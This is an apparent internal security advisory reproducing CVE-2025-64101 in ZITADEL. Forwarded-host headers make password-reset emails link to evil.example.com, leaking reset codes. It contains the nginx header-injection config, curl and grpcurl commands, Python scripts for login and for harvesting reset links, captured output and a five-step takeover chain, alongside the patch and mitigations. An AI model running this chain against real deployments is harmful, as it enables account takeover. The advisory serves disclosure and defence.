Advisory: CVE-2025-64101 / GHSA-mwmh-7px9-4c23
Component: Password-reset flow in ZITADEL (forwarded header handling)
Tested versions: 2.71.17 (vulnerable) vs 2.71.18 (patched)
Prepared on: 2025-10-30
Analyst: Internal Product Security
ZITADEL builds password-reset confirmation URLs using host information from Forwarded / X-Forwarded-Host headers. On versions ≤2.71.17, a proxy that injects these headers can cause ZITADEL to generate emails whose reset links point to an attacker-controlled domain. When victims click the link, the reset code leaks to the attacker, enabling full account takeover (unless MFA/passwordless protection is enabled). Version 2.71.18 sanitizes these headers, blocking the attack.
- Account takeover: Attacker-controlled reset links capture the secret
codeparameter, allowing password resets without user interaction. - Phishing vector: Emails originate from ZITADEL, so users trust the message while being redirected off site.
- Privilege escalation: Captured admin accounts allow modification of users, roles, and connected services.
- Scope: Any self-hosted ZITADEL instance relying on forwarded headers (e.g., behind NGINX/Traefik) without the patch is exposed.
Forwarded host headers were accepted without validation. The vulnerable hostFromRequest function returned raw header values, allowing entries like evil.example.com. Password reset handlers used this value to compose links in email templates. Commit 72a5c33 introduced sanitizeHost, dropping malformed hosts and validating ports to ensure only legitimate domains are used.
Excerpt from patched internal/api/http/context/http.go:
func sanitizeHost(rawHost string) (host string) {
if rawHost == "" {
return ""
}
host, port, err := net.SplitHostPort(rawHost)
if err != nil {
if isMissingPortError(err) {
return rawHost
}
logging.WithFields("host", rawHost).Warning("invalid host header, ignoring header")
return ""
}
portNumber, err := strconv.Atoi(port)
if err != nil || portNumber < 1 || portNumber > 65535 {
logging.WithFields("host", rawHost).Warning("invalid port in host header, ignoring header")
return ""
}
return rawHost
}All commands executed under zitadel-forwarded-header-password-reset/.
docker-compose.yml (relevant excerpt):
services:
db:
image: postgres:16-alpine
environment:
POSTGRES_DB: zitadel
POSTGRES_USER: postgres
POSTGRES_PASSWORD: postgres
zitadel:
image: ghcr.io/zitadel/zitadel:v2.71.17
ports:
- "8080:8080"
environment:
ZITADEL_PUBLICHOSTHEADERS: x-zitadel-public-host,x-forwarded-host
ZITADEL_DEFAULTINSTANCE_SMTPCONFIGURATION_FROM: [email protected]
ZITADEL_DEFAULTINSTANCE_SMTPCONFIGURATION_REPLYTOADDRESS: [email protected]
...
nginx:
image: nginx:1.27-alpine
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
ports:
- "8081:80"nginx.conf injects attacker headers:
server {
listen 80;
location / {
proxy_pass http://zitadel:8080;
proxy_set_header Host localhost:8080;
proxy_set_header X-Forwarded-Host evil.example.com;
proxy_set_header X-Forwarded-Proto https;
}
}Startup log (abbreviated):
Ensuring image ghcr.io/zitadel/zitadel:v2.71.17
Creating container zitadel-forwarded-header-password-reset-zitadel-1
Running ... ghcr.io/zitadel/zitadel:v2.71.17 start-from-init --tlsMode disabled
Script login_and_get_token.py automates OIDC login. Partial code:
def main():
# Build PKCE verifier/challenge and start /oauth/v2/authorize
resp = session.get(authorize_url, params=authorize_params, allow_redirects=False)
login_url = resp.headers["Location"]
csrf = fetch_with_csrf(session, login_url)
# Submit login name, password, skip MFA, change password, finalize login
token_resp = session.post(
f"{args.base_url}/oauth/v2/token",
data={"client_id": args.client_id, "grant_type": "authorization_code", ...},
)
print(json.dumps({"access_token": payload.get("access_token") ...}))Execution output:
[*] Waiting for ZITADEL to become ready
CLIENT_ID=344445499094532439
USER_ID=344445497249431895
INSTANCE_ID=344445497248842071
ACCESS_TOKEN prefix=r0Vxgek_o7...
grpcurl -plaintext -H "Authorization: Bearer $ACCESS_TOKEN" \
-d '{"domain":"evil.example.com"}' localhost:8080 \
zitadel.management.v1.ManagementService/AddOrgDomainDatabase check:
postgres=> SELECT instance_id, domain FROM projections.instance_trusted_domains;
344432675529949477 | evil.example.com
curl -s -D reset_headers.txt -o reset_response.json \
-X POST http://localhost:8081/v2/users/${USER_ID}/password_reset \
-H "Authorization: Bearer $ACCESS_TOKEN" -H "Content-Type: application/json" \
-d '{"userId":"'${USER_ID}'"}'Response headers/body:
HTTP/1.1 200 OK
...
Set-Cookie: ...
{"details":{"sequence":"10","changeDate":"2025-10-30T02:34:08.410635Z","resourceOwner":"344424547119857934"}}
Mailpit API response (formatted):
{
"MessageID": "KMHEXKoG2rBiVPFZJ67sCC@mailpit",
"From": { "Address": "[email protected]" },
"To": [{ "Address": "[email protected]" }],
"Subject": "Reset password",
"Text": "Hello ZITADEL Admin, ...
Reset password ( http://evil.example.com/ui/login/password/init?authRequestID=&code=E2VZMR&orgID=344424547119857934&userID=344424547120382222 )"
}Automation script fetch_reset_email.py (excerpt):
messages = requests.get(f"{api}/messages").json()["messages"]
latest = max(candidates, key=lambda m: parse_iso(m["Created"]))
detail = requests.get(f"{api}/message/{latest['ID']}").json()
reset_url = RESET_URL_RE.search(detail.get("Text") or detail.get("HTML")).group(0)
output = {"reset_url": reset_url, "reset_host": parsed.hostname}
print(json.dumps(output))Execution:
{"reset_url": "http://evil.example.com/ui/login/password/init?authRequestID=&code=57SPAK...", "reset_host": "evil.example.com"}
reset_ui_body.html captured when following the malicious link:
unable to set instance using origin &{evil.example.com https} (ExternalDomain is localhost): ID=QUERY-1kIjX Message=Instance not found.
Even though rendering fails (since the attacker domain isn’t registered as external), the reset code (code=57SPAK) has already been exposed.
docker-compose.yml updated to ghcr.io/zitadel/zitadel:v2.71.18. Reset flow repeated; Mailpit log:
{
"Subject": "Reset password",
"Text": "... Reset password ( http://localhost:8080/ui/login/password/init?authRequestID=&code=OIT68X... )"
}The link now targets the legitimate domain, proving the sanitization fix.
- Malicious email link:
http://evil.example.com/ui/login/password/init?...&code=57SPAK(captured JSON above). - Reset link log:
evidence-reset-links.txtcontains timestamped entries confirming the rogue domain. - Proxy config: Full
nginx.confdemonstrating header injection. - Database state: Trusted domain table includes
evil.example.com. - Patched behavior: Updated email links revert to
http://localhost:8080/.... - Commit diff:
stdout_0bdda324a3a94578bb0b1a07cf0ee5be.logshowssanitizeHostaddition.
- CWE-601 – URL Redirection to Untrusted Site (reset link rewritten to attacker domain).
- CWE-640 – Weak Password Recovery Mechanism (token disclosed via manipulated reset link).
- Upgrade to ZITADEL 2.71.18 / 3.4.3 / 4.6.0 (or newer) to enforce host sanitization.
- Deploy reverse proxies that strip untrusted
Forwarded/X-Forwarded-Hostheaders. - Require MFA/passwordless authentication to mitigate reset misuse.
- Monitor password-reset requests for suspension anomalies and unexpected domains.
| Step | Description | Output |
|---|---|---|
| 1 | Bring up ZITADEL v2.71.17 behind header-injecting proxy | nerdctl compose up logs |
| 2 | Register evil.example.com |
Postgres shows domain entry |
| 3 | Trigger password reset | API returns 200; Mailpit receives email |
| 4 | Extract reset link | Link points to evil.example.com |
| 5 | Upgrade to v2.71.18 | Email link reverts to localhost |
- Gain ability to inject
X-Forwarded-HostorForwardedheaders (e.g., misconfigured proxy). - Register a malicious domain with ZITADEL (or rely on default behavior).
- Trigger password reset for target account and capture the email.
- Harvest the reset
codefrom the link pointing to attacker domain. - Use the code to reset the user’s password and take over the account.
services:
nginx:
image: nginx:1.27-alpine
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
ports:
- "8081:80"server {
listen 80;
location / {
proxy_pass http://zitadel:8080;
proxy_set_header Host localhost:8080;
proxy_set_header X-Forwarded-Host evil.example.com;
proxy_set_header X-Forwarded-Proto https;
}
}#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
import os
import re
import sys
import time
import urllib.parse
from http.cookies import SimpleCookie
import requests
USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
def urlsafe_b64(n: int) -> str:
return base64.urlsafe_b64encode(os.urandom(n)).rstrip(b"=").decode()
def build_pkce() -> tuple[str, str]:
verifier = urlsafe_b64(32)
challenge = base64.urlsafe_b64encode(hashlib.sha256(verifier.encode()).digest()).rstrip(b"=").decode()
return verifier, challenge
CSRF_RE = re.compile(r'name="gorilla\.csrf\.Token"\s+value="([^"]+)"')
def extract_csrf(html: str) -> str:
match = CSRF_RE.search(html)
if not match:
raise RuntimeError("CSRF token not found in HTML response")
return match.group(1)
def fetch_with_csrf(session: requests.Session, url: str, *, retries: int = 60, delay: float = 2.0) -> str:
last_error: Exception | None = None
for _ in range(retries):
resp = session.get(url)
try:
return extract_csrf(resp.text)
except RuntimeError as exc:
last_error = exc
time.sleep(delay)
raise RuntimeError(f"Unable to retrieve login page with CSRF token: {last_error}")
def store_response_cookies(session: requests.Session, response: requests.Response) -> None:
set_cookie = response.headers.get("Set-Cookie")
if not set_cookie:
return
cookie = SimpleCookie()
cookie.load(set_cookie)
for key, morsel in cookie.items():
session.cookies.set(key, morsel.value, path=morsel["path"] or "/")
def main() -> None:
parser = argparse.ArgumentParser(description="Authenticate to ZITADEL via UI flow and return access token")
parser.add_argument("--base-url", default="http://localhost:8080")
parser.add_argument("--client-id", required=True)
parser.add_argument("--redirect-uri", default="http://localhost:8080/ui/console/auth/callback")
parser.add_argument("--scope", default="openid urn:zitadel:iam:org:project:id:zitadel:aud")
parser.add_argument("--login-name", default="[email protected]")
parser.add_argument("--old-password", default="Password1!")
parser.add_argument("--new-password", default="Password2!!")
args = parser.parse_args()
session = requests.Session()
session.headers.update({"User-Agent": USER_AGENT, "Accept": "*/*"})
verifier, challenge = build_pkce()
state = urlsafe_b64(16)
nonce = urlsafe_b64(16)
authorize_params = {
"client_id": args.client_id,
"redirect_uri": args.redirect_uri,
"response_type": "code",
"scope": args.scope,
"state": state,
"nonce": nonce,
"code_challenge": challenge,
"code_challenge_method": "S256",
}
authorize_url = f"{args.base_url}/oauth/v2/authorize"
resp = session.get(authorize_url, params=authorize_params, allow_redirects=False)
if resp.status_code != 302 or "Location" not in resp.headers:
raise RuntimeError("Authorization endpoint did not redirect as expected")
store_response_cookies(session, resp)
login_url = urllib.parse.urljoin(args.base_url, resp.headers["Location"])
parsed_login = urllib.parse.urlparse(login_url)
query = urllib.parse.parse_qs(parsed_login.query)
if "authRequestID" not in query:
raise RuntimeError("authRequestID missing")
auth_request_id = query["authRequestID"][0]
csrf = fetch_with_csrf(session, login_url)
resp = session.post(f"{args.base_url}/ui/login/loginname", data={
"gorilla.csrf.Token": csrf,
"authRequestID": auth_request_id,
"loginName": args.login_name,
})
resp.raise_for_status()
csrf = extract_csrf(resp.text)
resp = session.post(f"{args.base_url}/ui/login/password", data={
"gorilla.csrf.Token": csrf,
"authRequestID": auth_request_id,
"loginName": args.login_name,
"password": args.old_password,
})
resp.raise_for_status()
csrf = extract_csrf(resp.text)
resp = session.post(f"{args.base_url}/ui/login/mfa/prompt", data={
"gorilla.csrf.Token": csrf,
"authRequestID": auth_request_id,
"skip": "true",
})
resp.raise_for_status()
csrf = extract_csrf(resp.text)
resp = session.post(f"{args.base_url}/ui/login/password/change", data={
"gorilla.csrf.Token": csrf,
"authRequestID": auth_request_id,
"loginName": args.login_name,
"change-old-password": args.old_password,
"change-new-password": args.new_password,
"change-password-confirmation": args.new_password,
})
resp.raise_for_status()
csrf = extract_csrf(resp.text)
resp = session.post(f"{args.base_url}/ui/login/login", data={
"gorilla.csrf.Token": csrf,
"authRequestID": auth_request_id,
}, allow_redirects=False)
if resp.status_code != 302 or "Location" not in resp.headers:
raise RuntimeError("Expected redirect after login")
callback_url = urllib.parse.urljoin(args.base_url, resp.headers["Location"])
resp = session.get(callback_url, allow_redirects=False)
if resp.status_code != 302 or "Location" not in resp.headers:
raise RuntimeError("Callback missing authorization code")
redirect_url = urllib.parse.urljoin(args.base_url, resp.headers["Location"])
params = urllib.parse.parse_qs(urllib.parse.urlparse(redirect_url).query)
if "code" not in params:
raise RuntimeError("Authorization code missing")
code = params["code"][0]
token_resp = session.post(
f"{args.base_url}/oauth/v2/token",
data={
"client_id": args.client_id,
"grant_type": "authorization_code",
"code": code,
"redirect_uri": args.redirect_uri,
"code_verifier": verifier,
},
)
token_resp.raise_for_status()
payload = token_resp.json()
print(json.dumps({
"access_token": payload.get("access_token"),
"id_token": payload.get("id_token"),
"expires_in": payload.get("expires_in"),
"auth_request_id": auth_request_id,
}))
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(json.dumps({"error": str(exc)}), file=sys.stderr)
sys.exit(1)#!/usr/bin/env python3
import argparse
import json
import re
import sys
from datetime import datetime
import requests
RESET_URL_RE = re.compile(r"https?://[^\s)]+", re.IGNORECASE)
def parse_iso(ts: str) -> datetime:
return datetime.fromisoformat(ts.replace("Z", "+00:00"))
def main() -> None:
parser = argparse.ArgumentParser(description="Fetch...")
parser.add_argument("--api", default="http://localhost:8025/api/v1")
args = parser.parse_args()
messages = requests.get(f"{args.api}/messages", timeout=10).json()["messages"]
candidates = [m for m in messages if m.get("Subject") == "Reset password"]
latest = max(candidates, key=lambda m: parse_iso(m.get("Created", "")))
detail = requests.get(f"{args.api}/message/{latest['ID']}", timeout=10).json()
text = detail.get("Text") or detail.get("HTML") or ""
match = RESET_URL_RE.search(text)
reset_url = match.group(0)
parsed = requests.utils.urlparse(reset_url)
output = {
"message_id": detail.get("MessageID"),
"created": detail.get("Date"),
"reset_url": reset_url,
"reset_host": parsed.hostname,
}
print(json.dumps(output))
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(json.dumps({"error": str(exc)}), file=sys.stderr)
sys.exit(1){
"ID": "2qPqfmn6soro4USmrGy8Vb",
"MessageID": "KMHEXKoG2rBiVPFZJ67sCC@mailpit",
"From": {"Address": "[email protected]"},
"To": [{"Address": "[email protected]"}],
"Subject": "Reset password",
"Date": "2025-10-30T02:34:08Z",
"Text": "Hello ZITADEL Admin, ... Reset password ( http://evil.example.com/ui/login/password/init?authRequestID=&code=E2VZMR&orgID=344424547119857934&userID=344424547120382222 )"
}unable to set instance using origin &{evil.example.com https} (ExternalDomain is localhost): ID=QUERY-1kIjX Message=Instance not found.
{
"ID": "h4HfB6vRmyLWJDjVWLzEyh",
"MessageID": "arj3iHKnpwggJZMPrAMcsX@mailpit",
"Subject": "Reset password",
"Date": "2025-10-29T23:59:30Z",
"Text": "... Reset password ( http://localhost:8080/ui/login/password/init?authRequestID=&code=OIT68X&orgID=344407694574158155&userID=344407694574682443 )"
}The run demonstrates that ZITADEL ≤2.71.17 trusts forwarded host headers for password reset links, enabling attackers to redirect users to malicious domains and capture reset codes. Version 2.71.18 sanitizes these headers, ensuring reset emails always reference the legitimate domain.